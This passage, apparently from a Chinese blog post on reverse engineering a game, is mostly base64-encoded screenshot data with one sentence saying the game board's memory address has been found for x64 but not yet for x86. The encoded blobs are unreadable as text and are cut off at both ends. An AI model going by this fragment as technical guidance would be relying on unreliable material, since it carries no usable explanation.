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" alt> 最后找到棋盘地址如下，这是x64的，x86的要再找下。。 <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAmgAAAJ7CAIAAADYz/orAAAgAElEQVR4nO3deZQUdZ7v/W9mZVbWAsUqylJUFVVFFcUmKAi4i6IooriioiJC2y4oLoALSrEVO1Qp4IYstnbfHsppe3rmTl9nuExP6/TMPPfchx499uPznHs4c067gdo1f8z0nB7PqeePhCQqtl9EZERGZOT7db6nTuQvI3/xi8zI+FREbrLvwaUURVEURTks2ffg0g/XbaAoiqKo6NRvbr45CmUcGMFJURRFRbFCj0yCk6IoiiqmCj0yCU6KoiiqmCr0yCQ4KYqiqGKq0COT4KQoiqKKqUKPTP+D89Frr1swbfqfP/VM6HcuRVEUFeVqtWV1q9Aj05/gfHrejQPrWqc1Nn24bkPloHMSE66+bvL5H67bkKmoTJVnjr3UHvrDQ1EURUWtChycvb29vb299i2FC85EMikTrh4y+fJMdU1q/BWJe3cOmnJVuqysbERL4uJ79v/gh6E/PBTlrfZc19p63UOhD8P74Gfe9V7Yw6Aoq7JJx4COOLVJmU9q5hWcA6qqjr64dvX8m1Pznkws7Ehc+WDNTU82LNs8YNH6xOyliRueOu/BraE/NhTloB5aovlXd8kPTrcXMjjfWzhL9x93bhieauWamQEE5w/mnh2fxT2z57rcHLPWPBPuw0pFugofnLm8zDM1vQfn2OHDE7XjKxqnpkaNS1y1dEBt43M3L8hedfTFtefX1zdfMb919gJO1VIRr2xiaVNqz3Wn9/h+B+dDS6zj8L2FsyJ+gLjnutbW1rl7VHdmbgXfWziL7KRsKpTgzP9YM98jzrKyVHrh+sStL2Uqq0N/DCjKS/1grs3OneDse0cpUlNfz9w1J9/jZirOVYpHnB+u27BnyYOJq5amlu3786dX/rp9fbZCfzAoynGtXDOzdc7ClVYzZINTcxK1b3I8c9ec3FnJPpm3cs3MVt1NdGdijQu1CM6Va2bajkFz7nTOwoeyM58d/OkOVZ1Yrkifu8LmjjIvgjN2ZXwLT5bn3jxc5dexZgivcf71s8+naydUNJyfuGpp4oGXkxfeVNF4QUXjBeUtM4eNGVdTVRX6A0xR6lLt2bMv150JjIeWaHOlz6FqnxcU31s417Td0xHn6QzuM4Yz0ag7yXz6xUWr4LToxGZFNJUdueYfAvXB8UptilPxKN+D04bVrXw8